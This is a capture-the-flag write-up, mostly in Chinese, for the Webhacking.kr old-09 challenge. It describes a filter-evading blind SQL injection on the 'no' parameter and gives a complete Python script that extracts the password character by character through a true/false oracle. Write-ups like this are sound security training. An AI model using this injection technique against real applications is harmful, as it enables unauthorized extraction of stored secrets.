Webhacking.kr old-09

Challenge

Extract the secret password through the no parameter.

通过 no 参数提取隐藏密码。

1
https://webhacking.kr/challenge/web-09/

Analysis

页面根据 no 查询 chall9 表中的记录。no=3 会显示 Secret 页面,响应中的 Secret 可以作为真假 oracle。已知查询形态近似为:

1
SELECT id FROM chall9 WHERE no=<no>

过滤器会拦截常见比较符和空格,因此使用 IF、SUBSTR、LIKE 和十六进制字面量构造条件。条件为真时让表达式返回 3,条件为假时返回 0:

1
IF(SUBSTR(id,<position>,1)LIKE(<hex character>),3,0)

当响应包含 Secret 时,当前字符猜测正确。密码长度是 11 个字符,逐位置遍历可打印 ASCII 字符即可恢复完整值。

Solution

下面的脚本保留同一个 session,并先枚举密码,再向 pw 参数提交结果。运行前把自己的登录 session 放入环境变量,脚本不会包含任何真实 Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os
import string

import requests

BASE_URL = "https://webhacking.kr/challenge/web-09/"
SECRET_MARKER = "Secret"
PASSWORD_LENGTH = 11

def make_condition(position, character):
encoded = hex(ord(character))
return f"IF(SUBSTR(id,{position},1)LIKE({encoded}),3,0)"

def response_is_true(session, payload):
response = session.get(
BASE_URL,
params={"no": payload},
timeout=20,
)
response.raise_for_status()
return SECRET_MARKER in response.text

def extract_password(session):
password = []
for position in range(1, PASSWORD_LENGTH + 1):
for character in string.printable:
if character in "\r\n\t\x0b\x0c":
continue
payload = make_condition(position, character)
if response_is_true(session, payload):
password.append(character)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return "".join(password)

def main():
session_cookie = os.environ.get("CHALLENGE_SESSION")
if not session_cookie:
raise SystemExit("set session-cookie to your own challenge session before running")

session = requests.Session()
session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

password = extract_password(session)
print(f"password={password}")

result = session.get(BASE_URL, params={"pw": password}, timeout=20)
result.raise_for_status()
print(result.text)

if __name__ == "__main__":
main()